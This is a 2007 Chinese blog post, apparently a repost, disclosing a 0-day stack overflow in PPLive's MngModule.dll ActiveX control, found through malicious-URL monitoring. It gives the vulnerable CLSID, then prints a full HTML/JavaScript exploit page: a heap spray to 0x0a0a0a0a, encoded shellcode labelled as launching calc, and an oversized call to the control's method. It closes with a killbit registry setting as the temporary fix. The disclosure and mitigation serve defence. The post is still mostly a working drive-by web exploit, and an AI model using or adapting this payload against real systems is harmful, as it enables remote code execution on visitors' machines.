夜火博客

PPlive 0Day 网马曝光!

2007-11-14
技术文章
0day
exploit
漏洞信息
3分钟
411字

根据近期恶意网址检测的结果,发现有一部分网马利用最新的PPlive 0Day漏洞在传播,虽然目前数目还不多,但是相信很快就会成为网马的主力军,并与迅雷、百度搜霸、暴风影音、PPS等一路,加入今年应用软件网页木马的大潮中。

该漏洞是由Bug Center Team(http://www.cnbct.org/index.php) 小组的Maple-x发现的,影响版本: 为 pplive 1.8beat2 ,有问题的dll: MngModule.dll 1.7.0.2 ,在该模块中,有一个vsprintf的函数,程序只分配了400h(1024个字节)的大小,中间并没有进行过长度判断,当提交超过1024个A以后就会发生溢出了。因此可以基本判断为是由于vsprintf的字符串长度过长,从而导致的溢出。由此可见,在编写程序时,做好边界检查是多么的重要!

该有漏洞溢出模块的CLSID:9F0F8700-A4D8-4E24-A3E0-1CA654CB5179

另附上Exploit:

1
<html>
2
<body>
3
<object classid='clsid:9F0F8700-A4D8-4E24-A3E0-1CA654CB5179' id='target'></object>
4
<script>
5
var heapSprayToAddress = 0x0a0a0a0a;
6
7
var shellcode = unescape(
8
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
9
// exec calc
10
"%u03eb%ueb59%ue805%ufff8%uffff%u494f%u4949%u4949%u5149%u565a%u5854%u3336
11
%u5630%u3458%u3041%u3642%u4848%u4230%u3033%u4342%u5856%u4232%u4244%u3448
12
%u3241%u4441%u4130%u5444%u4442%u4251%u4130%u4144%u5856%u5a34%u4238%u4a44
13
%u4d4f%u4f4e%u4e4a%u5446%u5042%u5042%u3042%u584b%u5445%u334e%u384b%u574e
14
%u3045%u374a%u3041%u4e4f%u584b%u444f%u414a%u384b%u354f%u4242%u3041%u4e4b
15
%u3449%u584b%u3346%u584b%u3041%u4e50%u3341%u4c42%u3949%u4a4e%u5846%u4c42
40 collapsed lines
16
%u3746%u3047%u4c41%u4c4c%u504d%u5041%u4c44%u4e4b%u4f46%u534b%u5546%u3246
17
%u3046%u4745%u4e45%u484b%u354f%u3246%u5041%u4e4b%u3648%u584b%u504e%u544b
18
%u584b%u354f%u314e%u5041%u4e4b%u384b%u414e%u384b%u3041%u4e4b%u3849%u454e
19
%u5246%u5046%u4c43%u5341%u4c42%u4646%u484b%u4442%u4342%u3845%u4c42%u374a
20
%u504e%u484b%u4442%u504e%u484b%u5742%u514e%u4a4d%u484b%u464a%u304a%u4e4b
21
%u3049%u584b%u5842%u4b42%u3042%u5042%u3042%u484b%u464a%u434e%u554f%u4341
22
%u4f48%u5642%u5548%u5849%u4f4a%u3843%u4c42%u574b%u5542%u464a%u4e4f%u4c50
23
%u4e42%u4642%u364a%u494a%u4f50%u484c%u3050%u3547%u4f4f%u4e47%u4643%u5641
24
%u464e%u5643%u4250%u5645%u374a%u3645%u3042%uff5a");
25
26
var heapBlockSize = 0x100000;
27
var payLoadSize = shellcode.length * 2;
28
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
29
var spraySlide = unescape("%u9090%u9090");
30
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
31
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
32
memory = new Array();
33
34
for (i=0;i<heapBlocks;i++)
35
{
36
memory[i] = spraySlide + shellcode;
37
}
38
function getSpraySlide(spraySlide, spraySlideSize)
39
{
40
while (spraySlide.length*2<spraySlideSize)
41
{
42
spraySlide += spraySlide;
43
}
44
spraySlide = spraySlide.substring(0,spraySlideSize/2);
45
return spraySlide;
46
}
47
var buffer = 'x0a';
48
49
while (buffer.length < 1044)
50
buffer += 'x0ax0ax0ax0a';
51
52
target.X(true, buffer, 1);
53
</script>
54
</body>
55
</html>

目前的临时解决办法也就是在注册表中设置killbit 。

Windows Registry Editor Version 5.00

1
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerActiveX Compatibility{9F0F8700-A4D8-4E24-A3E0-1CA654CB5179}]
2
"Compatibility Flags"=dword:00000400

参考连接:《初探ActiveX类型溢出---PPlive 0Day》

http://www.cnbct.org/index.php?action=article_view&aid=21

应用软件们注意了,下一个就是你!

from:网络巡警的博客

本文标题:PPlive 0Day 网马曝光!
文章作者:夜火
发布时间:2007-11-14